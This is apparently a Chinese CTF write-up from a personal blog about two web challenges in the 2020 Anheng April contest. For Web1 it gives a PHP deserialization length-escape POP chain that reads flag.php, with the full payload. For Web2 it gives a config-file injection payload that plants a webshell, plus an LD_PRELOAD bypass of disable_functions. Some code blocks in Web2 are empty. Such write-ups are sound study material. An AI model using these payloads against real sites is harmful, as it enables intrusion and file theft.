安恒4月赛2020
Web1
反序列化长度逃逸一般就是过滤的时机不对,在序列化之后再过滤很容易出现问题
https://www.php.cn/php-weizijiaocheng-437066.html
1 |
|
\0\0\0
和chr(0).'*'.chr(0)
互相转换时会导致长度问题,因为\0\0\0
长度是6,chr(0).'*'.chr(0)
长度是3
1 | $a='\0\0\0'; |
POC链构造
C中存在 __toString()
方法,其中调用了file_get_contents()
,B类中的析构函数中存在echo $c
,所以思路就是把B类中的$b
赋值成C类对象,C类对象中的$c
赋值成flag.php
1 | class A{ |
password的值为";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}
1 | $a->password='";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}'; |
我们要逃逸的字符为:";s:8:"password";s:72:"
一共23个字符,但是替换为chr(0) . '*' . chr(0)
一次逃逸3个字符,所以要是三的倍数。。所以password
为A";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}
最终的payload为:
1 | a=\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0&b=A";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";} |
反序列化时:
1 | $a=new A('\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','A";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}'); |
Web2
参考文章
SQL注入可以和格式化字符串一起使用
例如:
1 |
|
用admin密码登录后
是一个经典的配置文件写入问题漏洞.参考链接
payload:
1 | a';phpinfo();// |
然后再shell.php看到了phpinfo()的界面。。
有disable_functions
1 | set_time_limit,ini_set,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,system,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,ld,mail,error_log,dl,FFI::cdef,debug_backtrace,imap_mail,mb_send_mail |
想到了题目给了一个so文件.
可以发现是利用LD_PRELOAD
来绕过禁止函数(在之前的文章有记录)
本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来源 Rick!
评论